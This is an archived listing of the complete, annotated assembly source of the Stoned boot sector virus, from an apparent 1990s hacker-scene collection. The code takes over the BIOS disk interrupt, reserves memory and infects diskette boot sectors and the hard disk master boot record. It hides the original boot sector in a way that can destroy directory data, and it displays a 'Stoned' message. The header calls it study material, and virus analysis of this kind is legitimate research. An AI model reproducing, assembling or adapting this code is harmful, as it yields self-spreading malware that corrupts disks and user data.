home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / STONED.ZIP / STONED.ASM
Assembly Source File  |  1996-03-22  |  21KB  |  529 lines

  1. ;*****************************************************************************
  2. ;
  3. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Stoned Virus
  4. ;
  5. ;  This file is for the purpose of virus study only! It should not be passed
  6. ;  around among the general public. It will be very useful for learning
  7. ;  how viruses work and propagate. But anybody with access to an assembler
  8. ;  can turn it into a working virus and anybody with a bit of assembly coding
  9. ;  experience can turn it into a far more malevolent program than it already
  10. ;  is. Keep this code in reasonable hands!
  11. ;
  12. ;  This is a boot sector virus, and an extremely tiny one. It occupies only a
  13. ;  single sector. On a diskette, it resides in the boot sector, and on a hard
  14. ;  disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
  15. ;  diskette by copying the real boot sector to side 1, track 0, sector 3. This
  16. ;  is the last sector used by the directory, and is usually not used. If the
  17. ;  directory ever does expand into this area, then the real boot sector will be
  18. ;  trashed, and the diskette will no longer be bootable. Once the boot sector
  19. ;  is copied to the directory area, this code goes into the boot sector space
  20. ;  at side 0, track 0, sector 1. The system is then transferred to the diskette
  21. ;  and the diskette contains an activated virus. Once this diskette is used to
  22. ;  boot up a system, it will become resident and infect other diskettes it
  23. ;  sees. If the system contains a hard drive, it too will become infected.
  24. ;
  25. ;  This virus does not contain any time bomb, but it can cause loss of data by
  26. ;  wrecking a directory here or there.
  27. ;*****************************************************************************
  28.  
  29.  
  30. LF      EQU     0AH
  31. CR      EQU     0DH
  32.  
  33. XSEG    SEGMENT AT      07C0h
  34.         ORG     5
  35. NEWSEG  LABEL   FAR
  36. XSEG    ENDS
  37.  
  38. CODE    SEGMENT
  39.         ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
  40.         ORG     0
  41.  
  42.  
  43. ;*****************************************************************************
  44. ; Execution begins here as a boot record. This means that its location and
  45. ;  CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
  46. ;  a change in CS:IP so that CS is 07C0. The following two JMPs, and the
  47. ;  segment definition of XSEG above are best not tampered with.
  48. ;*****************************************************************************
  49.  
  50.  
  51.         JMP  FAR PTR NEWSEG     ;This is exactly 5 bytes long. Don't change it
  52.  
  53. ;The above line will jump to here, with a CS of 07C0 and an IP of 5
  54.  
  55.         JMP     JPBOOT                  ;Jump here at boot up time
  56.  
  57.  
  58. ;*****************************************************************************
  59. ; The following offsets:
  60. ;    D_TYPE
  61. ;    O_13_O
  62. ;    O_13_S
  63. ;    J_AD_O
  64. ;    J_AD_S
  65. ;    BT_ADD
  66. ;  will be used to access their corresponding variables throughout the code.
  67. ;  They will vary in different parts of the code, since the code relocates
  68. ;  itself and the values in the segment registers will change. The actual
  69. ;  variables are defined with a leading underscore, and should not be used. As
  70. ;  the segment registers, and the offsets used to access them, change in the
  71. ;  code, the offsets will be redefined with "=" operators. At each point, the
  72. ;  particular segment register override needed to access the variables will be
  73. ;  given.
  74. ;
  75. ; In this area, the variables should be accessed with the CS: segment override.
  76. ;******************************************************************************
  77.  
  78. D_TYPE  =       $               ;The type of disk we are booting from
  79. _D_TYPE DB      0
  80.  
  81. OLD_13  EQU     $
  82. O_13_O  =       $               ;Old INT 13 vector offset
  83. _O_13_O DW      ?
  84.  
  85. O_13_S  =       $               ;Old INT 13 vector segment
  86. _O_13_S DW      ?
  87.  
  88. JMP_ADR EQU     $
  89. J_AD_O  =       $               ;Offset of the jump to relocated code
  90. _J_AD_O DW      OFFSET HI_JMP
  91.  
  92. J_AD_S  =       $               ;Segment of the jump to the relocated code
  93. _J_AD_S DW      ?
  94.  
  95.  
  96. BT_ADD  =       $               ;Fixed address 0:7C00. Jump addr to boot sector
  97. _BT_ADD DW      7C00h           ;Boot address segment
  98.         DW      0000h           ;Boot address offset
  99.  
  100.  
  101.  
  102. ;**********************************************************
  103. ;       The INT 13H vector gets hooked to here
  104. ;**********************************************************
  105.  
  106. NEW_13: PUSH    DS
  107.         PUSH    AX
  108.         CMP     AH,2
  109.         JB      REAL13                  ;Restore regs & do real INT 13H
  110.  
  111.         CMP     AH,4
  112.         JNB     REAL13                  ;Restore regs & do real INT 13H
  113.  
  114. ;*****************************************************************
  115. ;    We only get here for service 2 or 3 - Disk read or write
  116. ;*****************************************************************
  117.  
  118.         OR      DL,DL
  119.         JNZ     REAL13                  ;Restore regs & do real INT 13H
  120.  
  121. ;*****************************************************************
  122. ;     And we only get here if it's happening to drive A:
  123. ;*****************************************************************
  124.  
  125.         XOR     AX,AX
  126.         MOV     DS,AX
  127.         MOV     AL,DS:43FH
  128.         TEST    AL,1                    ;Check to see if drive motor is on
  129.         JNZ     REAL13                  ;Restore regs & do real INT 13H
  130.  
  131. ;******************************************************************
  132. ;           We only get here if the drive motor is on.
  133. ;******************************************************************
  134.  
  135.         CALL    INFECT                  ;Try to infect the disk
  136.  
  137. ;******************************************************************
  138. ;                Restore regs & do real INT 13H
  139. ;******************************************************************
  140.  
  141. REAL13: POP     AX
  142.         POP     DS
  143.         JMP     DWORD PTR       CS:OLD_13
  144.  
  145.  
  146.  
  147. ;**************************************************************
  148. ;***          See if we can infect the disk                 ***
  149. ;**************************************************************
  150.  
  151. INFECT  PROC    NEAR
  152.  
  153.         PUSH    BX
  154.         PUSH    CX
  155.         PUSH    DX
  156.         PUSH    ES
  157.         PUSH    SI
  158.         PUSH    DI
  159.         MOV     SI,4            ;We'll try up to 4 times to read it
  160.  
  161. ;***************************************************************
  162. ;            Loop to try reading disk sector
  163. ;***************************************************************
  164.  
  165. RDLOOP: MOV     AX,201H         ;Read one sector...
  166.         PUSH    CS
  167.         POP     ES
  168.         MOV     BX,200H         ;...into a space at the end of the code
  169.         XOR     CX,CX
  170.         MOV     DX,CX           ;Side 0, drive A
  171.         INC     CX              ;Track 0, sector 1
  172.         PUSHF
  173.         CALL    DWORD PTR CS:OLD_13     ;Do the old INT 13
  174.  
  175.         JNB     RD_OK           ;Disk read was OK
  176.  
  177.         XOR     AX,AX
  178.         PUSHF
  179.         CALL    DWORD PTR CS:OLD_13     ;Reset disk
  180.  
  181.         DEC     SI              ;Bump the counter
  182.         JNZ     RDLOOP          ;Loop to try reading disk sector
  183.         JMP     SHORT   QUIT    ;Close up and return if all 4 tries failed
  184.  
  185.         NOP
  186.  
  187. ;******************************************************************************
  188. ; Here if disk read was OK. We got the boot sector. But is it already infected?
  189. ;  Find out by comparing the first 4 bytes of the boot sector to the first 4
  190. ;  bytes of this code. If they don't match exactly, infect the diskette.
  191. ;******************************************************************************
  192.  
  193. RD_OK:  XOR     SI,SI
  194.         MOV     DI,200H
  195.         CLD
  196.         PUSH    CS
  197.         POP     DS
  198.         LODSW
  199.         CMP     AX,[DI]
  200.         JNZ     HIDEIT                  ;Hide floppy boot sector in directory
  201.  
  202.         LODSW
  203.         CMP     AX,[DI+2]
  204.         JZ      QUIT                    ;Close up and return
  205.  
  206. ;************************************************************
  207. ;       Infect - Hide floppy boot sector in directory
  208. ;************************************************************
  209.  
  210. HIDEIT: MOV     AX,301H         ;Write 1 sector
  211.         MOV     BX,200H         ;From the space at the end of this code
  212.         MOV     CL,3            ;To sector 3
  213.         MOV     DH,1            ;Side 1
  214.         PUSHF
  215.         CALL    DWORD PTR CS:OLD_13     ;Do the old INT 14
  216.         JB      QUIT            ;Close up and return if failed
  217.  
  218. ;******************************************************************
  219. ; If write was sucessful, write this code to the boot sector area
  220. ;******************************************************************
  221.  
  222.         MOV     AX,301H         ;Write 1 sector ...
  223.         XOR     BX,BX           ;...of this very code...
  224.         MOV     CL,1            ;...to sector 1...
  225.         XOR     DX,DX           ;...of Side 0, drive A
  226.         PUSHF
  227.         CALL    DWORD PTR CS:OLD_13     ;Do an old INT 13
  228.  
  229. ;  ***NOTE*** no test has been done for a sucessful write.
  230.  
  231. ;***************************************************************
  232. ;                    Close up and return
  233. ;***************************************************************
  234.  
  235. QUIT:   POP     DI
  236.         POP     SI
  237.         POP     ES
  238.         POP     DX
  239.         POP     CX
  240.         POP     BX
  241.         RET
  242.  
  243. INFECT  ENDP
  244.  
  245.  
  246.  
  247.  
  248.  
  249. ;****************************************************************
  250. ;***             Jump here at boot up time
  251. ;****************************************************************
  252.  
  253.  
  254.  
  255.  
  256. ;*****************************************************************************
  257. ; Redefine the variable offsets. The code here executes in the memory area
  258. ;  used by the normal boot sector. The variable offsets have an assembled
  259. ;  value of the order 7Cxx. Access them here through the DS: segment override
  260. ;*****************************************************************************
  261.  
  262.  
  263. D_TYPE  =       07C00h + OFFSET _D_TYPE
  264. O_13_O  =       07C00h + OFFSET _O_13_O
  265. O_13_S  =       07C00h + OFFSET _O_13_S
  266. J_AD_O  =       07C00h + OFFSET _J_AD_O
  267. J_AD_S  =       07C00h + OFFSET _J_AD_S
  268. BT_ADD  =       07C00h + OFFSET _BT_ADD
  269.  
  270.  
  271.  
  272. JPBOOT: XOR     AX,AX
  273.         MOV     DS,AX           ;DS = 0
  274.  
  275. ;*********************************************************
  276. ;                Set up a usable stack
  277. ;*********************************************************
  278.  
  279.         CLI
  280.         MOV     SS,AX           ;SS = 0
  281.         MOV     SP,OFFSET 7C00H ;Position stack at 0000:7C00
  282.         STI
  283.  
  284. ;*********************************************************
  285. ;        Capture the INT 13 vector (BIOS disk I/O)
  286. ;*********************************************************
  287.  
  288.         MOV     AX,DS:4CH       ;Offset for old INT 13 vector
  289.         MOV     DS:O_13_O,AX    ;Save the offset
  290.         MOV     AX,DS:4EH       ;Segment for old INT 13 vector
  291.         MOV     DS:O_13_S,AX    ;Save the segment
  292.  
  293. ;*****************************************************************************
  294. ; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
  295. ;  stealing an odd number of K would result in an odd number shown available
  296. ;  when a CHKDSK is run. This might be too obvious. Or the programmer may have
  297. ;  had other plans for the memory.
  298. ;*****************************************************************************
  299.  
  300.         MOV     AX,DS:413H      ;BIOS' internal count of available memory
  301.         DEC     AX
  302.         DEC     AX              ;Drop it by 2K ...
  303.         MOV     DS:413H,AX      ;...and store it (steal it!!)
  304.  
  305. ;*********************************************************
  306. ;        Find the segment of the stolen memory
  307. ;*********************************************************
  308.  
  309.         MOV     CL,6
  310.         SHL     AX,CL
  311.         MOV     ES,AX
  312.  
  313. ;*********************************************************
  314. ;        Use the segment of the stolen memory area
  315. ;*********************************************************
  316.  
  317.         MOV     DS:J_AD_S,AX    ;Becomes part of a JMP address
  318.         MOV     AX,OFFSET NEW_13
  319.         MOV     DS:4CH,AX       ;Offset for new INT 13
  320.         MOV     DS:4EH,ES       ;Segment for new INT 13
  321.  
  322. ;****************************************************************
  323. ;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
  324. ;****************************************************************
  325.  
  326.         MOV     CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
  327.         PUSH    CS
  328.         POP     DS              ;DS = CS
  329.         XOR     SI,SI
  330.         MOV     DI,SI           ;All offsets of block move areas are 0
  331.         CLD
  332.         REPZ    MOVSB           ;Copy each byte of code to the top of memory
  333.         JMP     DWORD PTR       CS:JMP_ADR ;JMP to the transferred code...
  334.  
  335.  
  336.  
  337. ;**************************************************************
  338. ;    ...and we'll jump right here, to the transferred code
  339. ;**************************************************************
  340.  
  341.  
  342.  
  343. ;****************************************************************************
  344. ; Redefine variable offsets again. This code executes at the top of memory,
  345. ;  and so the exact value of the segment registers depends on how much memory
  346. ;  is installed. The variable offsets have an assembled value of the order of
  347. ;  00xx. They are accessed using the CS: segment override
  348. ;****************************************************************************
  349.  
  350. D_TYPE  =       OFFSET _D_TYPE
  351. O_13_O  =       OFFSET _O_13_O
  352. O_13_S  =       OFFSET _O_13_S
  353. J_AD_O  =       OFFSET _J_AD_O
  354. J_AD_S  =       OFFSET _J_AD_S
  355. BT_ADD  =       OFFSET _BT_ADD
  356.  
  357.  
  358. HI_JMP: MOV     AX,0
  359.         INT     13H             ;Reset disk system
  360.  
  361. ;**********************************************************************
  362. ;  This will read one sector into 0000:7C00 (the boot sector address)
  363. ;**********************************************************************
  364.  
  365.         XOR     AX,AX
  366.         MOV     ES,AX
  367.         MOV     AX,201H                 ;Read one sector
  368.         MOV     BX,OFFSET 7C00H         ;To boot sector area: 0000:7C00
  369.         CMP     BYTE PTR CS:D_TYPE,0    ;Booting from diskette or hard drive?
  370.  
  371.         JZ      DISKET                  ;If booting from a diskette
  372.  
  373. ;******************************************************
  374. ;            Booting from a hard drive
  375. ;******************************************************
  376.  
  377.         MOV     CX,7            ;Track 0, sector 7
  378.         MOV     DX,80H          ;Hard drive, side 0
  379.         INT     13H             ;Go get it
  380.  
  381. ;  ***NOTE** There was no check as to wether or not the read was sucessful
  382.  
  383.         JMP     SHORT   BOOTUP  ;Go run the real boot sector we've installed
  384.  
  385.         NOP
  386.  
  387. ;******************************************************
  388. ;            Booting from a diskette
  389. ;******************************************************
  390.  
  391. DISKET: MOV     CX,3            ;Track 0, sector 3
  392.         MOV     DX,100H         ;A drive, side 1 (last sector of the directory)
  393.         INT     13H             ;Go get it
  394.         JB      BOOTUP          ;If read error, run it anyway.(???) (A prank?)
  395.  
  396. ;****************************************************************
  397. ;Wether or not we print the "Stoned" message depends on the value
  398. ; of a byte in the internal clock time -- a fairly random event.
  399. ;****************************************************************
  400.  
  401.         TEST    BYTE PTR ES:46CH,7      ;Test a bit in the clock time
  402.         JNZ     GETHDB                  ;Get Hard drive boot sector
  403.  
  404. ;**************************************************************
  405. ;                      Print the message
  406. ;**************************************************************
  407.  
  408.         MOV     SI,OFFSET S_MSG ;Address of the "stoned message"
  409.         PUSH    CS
  410.         POP     DS
  411.  
  412. ;**************************************************************
  413. ;               Loop to print individual characters
  414. ;**************************************************************
  415.  
  416. PRINT1: LODSB
  417.         OR      AL,AL           ;A 00 byte means quit the loop
  418.         JZ      GETHDB          ;Get Hard drive boot sector, then
  419.  
  420. ;**************************************************************
  421. ;         Not done looping. Print another character
  422. ;**************************************************************
  423.  
  424.         MOV     AH,0EH
  425.         MOV     BH,0
  426.         INT     10H
  427.         JMP     SHORT   PRINT1  ;Print a character on screen
  428.  
  429.  
  430. ;**************************************************************
  431. ;               Get Hard drive boot sector
  432. ;**************************************************************
  433.  
  434. GETHDB: PUSH    CS
  435.         POP     ES
  436.         MOV     AX,201H         ;Read one sector...
  437.         MOV     BX,200H         ;...to the buffer following this code...
  438.         MOV     CL,1            ;...from sector 1...
  439.         MOV     DX,80H          ;...side 0, of the hard drive
  440.         INT     13H
  441.         JB      BOOTUP          ;If error, assume no hard drive
  442.                                 ; So go run the floppy boot sector
  443.  
  444. ;***************************************************************************
  445. ; If no read error, then there really must be a hard drive. Infect it. The
  446. ;  following code uses the same trick above where the first 4 bytes of the
  447. ;  boot sector are compared to the first 4 bytes of this code. If they don't
  448. ;  match exactly, then this hard drive isn't infected.
  449. ;***************************************************************************
  450.  
  451.         PUSH    CS
  452.         POP     DS
  453.         MOV     SI,200H
  454.         MOV     DI,0
  455.         LODSW
  456.         CMP     AX,[DI]
  457.         JNZ     HIDEHD                  ;Hide real boot sector in hard drive
  458.  
  459.         LODSW
  460.         CMP     AX,[DI+2]
  461.         JNZ     HIDEHD                  ;Hide real boot sector in hard drive
  462.  
  463. ;**************************************************************
  464. ;                Go run the real boot sector
  465. ;**************************************************************
  466.  
  467. BOOTUP: MOV     BYTE PTR CS:D_TYPE,0
  468.         JMP     DWORD PTR       CS:BT_ADD
  469.  
  470. ;**************************************************************
  471. ;         Infect - Hide real boot sector in hard drive
  472. ;**************************************************************
  473.  
  474. HIDEHD: MOV     BYTE PTR CS:D_TYPE,2    ;Mark this as a hard drive infection
  475.         MOV     AX,301H                 ;Write i sector...
  476.         MOV     BX,200H         ;...from the buffer following this code...
  477.         MOV     CX,7            ;...to track 0, sector 7...
  478.         MOV     DX,80H          ;...side 0, of the hard drive...
  479.         INT     13H             ;Do it
  480.         JB      BOOTUP          ;Go run the real boot sector if failed
  481.  
  482. ;**************************************************
  483. ; Here if the boot sector got written successfully
  484. ;***************************************************
  485.  
  486.         PUSH    CS
  487.         POP     DS
  488.         PUSH    CS
  489.         POP     ES
  490.         MOV     SI,3BEH         ;Offset of disk partition table in the buffer
  491.         MOV     DI,1BEH         ;Copy it to the same offset in this code
  492.         MOV     CX,242H         ;Strange. Only need to move 42H bytes. This
  493.                                 ; won't hurt, and will overwrite the copy of
  494.                                 ; the boot sector, maybe giving a bit more
  495.                                 ; concealment.
  496.         REPZ    MOVSB           ;Move them
  497.         MOV     AX,301H         ;Write 1 sector...
  498.         XOR     BX,BX           ;...of this code...
  499.         INC     CL              ;...into sector 1
  500.         INT     13H
  501.  
  502. ; ***NOTE*** no check for a sucessful write
  503.  
  504.         JMP     BOOTUP          ;Now run the real boot sector
  505.  
  506. S_MSG   DB      7,'Your PC is now Stoned!',7,CR,LF
  507.         DB      LF
  508.  
  509. ;*************************************************************************
  510. ; Just garbage. In one version, this contained an extension of the above
  511. ;  string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
  512. ;*************************************************************************
  513.  
  514.         DB      0,4CH,45H,47H,41H
  515.         DB      4CH,49H,53H,45H,67H
  516.         DB      2,4,68H,2,68H
  517.         DB      2,0BH,5,67H,2
  518.  
  519. END_BYT EQU     $               ;Used to determine the size of the code. It
  520.                                 ; must be less than 1BE, or this code is too
  521.                                 ; large to be used to infect hard disks. From
  522.                                 ; offset 1BE and above, the hard disk partition
  523.                                 ; table will be copied, and anything placed
  524.                                 ; there will get clobbered.
  525.  
  526.         CODE    ENDS
  527.  
  528. END
  529.